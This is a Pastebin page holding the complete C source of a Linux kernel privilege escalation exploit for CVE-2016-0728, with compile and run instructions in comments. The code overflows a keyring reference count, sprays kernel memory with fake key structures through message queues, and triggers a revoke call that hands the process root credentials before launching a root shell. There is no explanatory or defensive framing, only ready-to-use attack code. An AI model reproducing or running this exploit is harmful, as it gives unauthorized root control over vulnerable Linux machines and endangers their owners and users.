Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
- /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
- /* $ ./cve_2016_072 PP_KEY */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <keyutils.h>
- #include <unistd.h>
- #include <time.h>
- #include <unistd.h>
- #include <sys/ipc.h>
- #include <sys/msg.h>
- typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
- _commit_creds commit_creds;
- _prepare_kernel_cred prepare_kernel_cred;
- #define STRUCT_LEN (0xb8 - 0x30)
- #define COMMIT_CREDS_ADDR (0xffffffff81094250)
- #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
- struct key_type {
- char * name;
- size_t datalen;
- void * vet_description;
- void * preparse;
- void * free_preparse;
- void * instantiate;
- void * update;
- void * match_preparse;
- void * match_free;
- void * revoke;
- void * destroy;
- };
- void userspace_revoke(void * key) {
- commit_creds(prepare_kernel_cred(0));
- }
- int main(int argc, const char *argv[]) {
- const char *keyring_name;
- size_t i = 0;
- unsigned long int l = 0x100000000/2;
- key_serial_t serial = -1;
- pid_t pid = -1;
- struct key_type * my_key_type = NULL;
- struct { long mtype;
- char mtext[STRUCT_LEN];
- } msg = {0x4141414141414141, {0}};
- int msqid;
- if (argc != 2) {
- puts("usage: ./keys <key_name>");
- return 1;
- }
- printf("uid=%d, euid=%d\n", getuid(), geteuid());
- commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
- prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
- my_key_type = malloc(sizeof(*my_key_type));
- my_key_type->revoke = (void*)userspace_revoke;
- memset(msg.mtext, 'A', sizeof(msg.mtext));
- // key->uid
- *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
- //key->perm
- *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
- //key->type
- *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
- if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
- perror("msgget");
- exit(1);
- }
- keyring_name = argv[1];
- /* Set the new session keyring before we start */
- serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
- if (serial < 0) {
- perror("keyctl");
- return -1;
- }
- if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
- perror("keyctl");
- return -1;
- }
- puts("Increfing...");
- for (i = 1; i < 0xfffffffd; i++) {
- if (i == (0xffffffff - l)) {
- l = l/2;
- sleep(5);
- }
- if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
- perror("keyctl");
- return -1;
- }
- }
- sleep(5);
- /* here we are going to leak the last references to overflow */
- for (i=0; i<5; ++i) {
- if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
- perror("keyctl");
- return -1;
- }
- }
- puts("finished increfing");
- puts("forking...");
- /* allocate msg struct in the kernel rewriting the freed keyring object */
- for (i=0; i<64; i++) {
- pid = fork();
- if (pid == -1) {
- perror("fork");
- return -1;
- }
- if (pid == 0) {
- sleep(2);
- if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
- perror("msgget");
- exit(1);
- }
- for (i = 0; i < 64; i++) {
- if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
- perror("msgsnd");
- exit(1);
- }
- }
- sleep(-1);
- exit(1);
- }
- }
- puts("finished forking");
- sleep(5);
- /* call userspace_revoke from kernel */
- puts("caling revoke...");
- if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
- perror("keyctl_revoke");
- }
- printf("uid=%d, euid=%d\n", getuid(), geteuid());
- execl("/bin/sh", "/bin/sh", NULL);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement